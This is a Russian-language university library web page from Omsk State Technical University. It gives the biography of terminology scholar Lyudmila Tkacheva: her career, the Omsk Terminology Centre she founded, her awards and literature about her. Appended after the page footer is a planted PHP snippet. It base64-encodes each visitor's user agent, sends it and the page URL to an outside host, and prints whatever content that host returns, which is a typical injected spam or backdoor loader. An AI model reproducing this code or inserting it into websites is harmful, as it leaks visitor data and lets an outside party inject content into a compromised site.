Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

70 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
А Б В Г Д Е Ж З К Л М Н П Р С Т Ф Х Ш Щ Ю

Ткачева Людмила Борисовна

БиографияПубликации (в фонде)Библиографический указатель (выпущен к юбилею)

Биография

Ткачёва Людмила Борисовна, кандидат филологических наук, профессор кафедры иностранных языков, руководитель Омского терминологического центра, отличник народного просвещения, почетный работник высшего профессионального образования РФ.

Людмила Борисовна родилась 24 августа 1928 года в  Свердловске в семье инженера авиационной промышленности.

Людмила Борисовна окончила факультет иностранных языков Пермского (Молотовского) педагогического института. Работала преподавателем английского языка в Молотовском военно-морском авиационном техническом училище, в военно-морском авиационном училище в городе Ейске, на факультете иностранных языков Сталинградского педагогического института, Молотовского педагогического института. После переезда в Омск (1956-1980) работала старшим преподавателем, доцентом, заведующей  кафедрой  английского языка Омского педагогического института. С 1980 года и по настоящее время работает в Омском государственном техническом университете.

Научная деятельность : кандидатская диссертация «Происхождение и образование авиационных терминов в английском языке» (1973) ; докторская диссертация «Актуальные проблемы терминологии в социолингвистическом освещении» (1989).

В 1958 году Ткачева Л. Б. создала Омский Терминологический Центр, который активно работает уже 55 лет, создав 136 двуязычных словарей внутриотраслевых терминов по наиболее актуальным отраслям науки и техники. На его базе создала Институт терминологии и перевода, в котором за 18 лет его деятельности получили профессиональное образование более 500 специалистов-переводчиков английского, немецкого, французского и испанского языков. В 1998 году на базе ОТЦ при кафедре иностранных языков была открыта аспирантура по специальности 10.02.04 - «Германские языки» в области терминоведения и в 2003 году открыт диссертационный совет по  подготовке и защите кандидатских диссертаций по проблемам терминологии, в результате чего подготовлено и защищено 54 кандидатских диссертаций.

Деятельность, созданного Л. Б. Ткачевой ОТЦ пользуется признанием не только в России, но и во всём мире.       Систематически проводятся международные конференции по проблемам терминологии и перевода.

Л. Б. Ткачёва  — автор около 300 научных и учебно-методических работ,  в том числе опубликованных за рубежом. Она является Вице-президентом Международной организации специальной терминологии, президентом Азиатского континентального секретариата по координации терминологической работы МОСТ ; заместителем генерального директора Международного биографического центра (Кембридж), членом Американского биографического института, членом Датского общества по языкам для специальных целей, заместителем главного редактора Международного журнала «NEOTERM».

Людмила Борисовна награждена : медалями «За добросовестный труд в ознаменование 100-летия со дня рождения В. И. Ленина», «Ветеран труда» , бронзовой  медалью ВДНХ СССР, серебряной медалью Английского биографического общества, серебряной медалью «Интеллектуал XXI  века» ; нагрудными знаками : «Отличник народного просвещения», «Почетный работник высшего профессионального образования РФ» ; дипломом Американского биографического центра.

Литература о ней:

 

 

Машкарин,  М. И. Ткачёва Людмила Борисовна  / М. И. Машкарин // Энциклопедия города Омска : в 3 т. Т. 3. Омск в лицах / Администрация г. Омска ;  ред. Г. А. Павлов  [и др.]. - Омск, 2011. - Кн. 2. Л - Я. - С. 487.

 Ткачева Людмила Борисовна // История в лицах : ученые Омского государственного технического университета : справочно-библиографическое издание / В. Д. Полканов [и др.]. - Омск, 1996. - С. 243.

Ткачева Людмила Борисовна // Кто есть кто в Омской области / Администрация Ом. Обл. и др. ; редкол. : В. А. Третьяков [и др.]  ; сост. В. А. Евдокимов. - Омск,  2003. - C.185.



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2876 - 25.04.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.54 с.11 запросов, 0.74c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;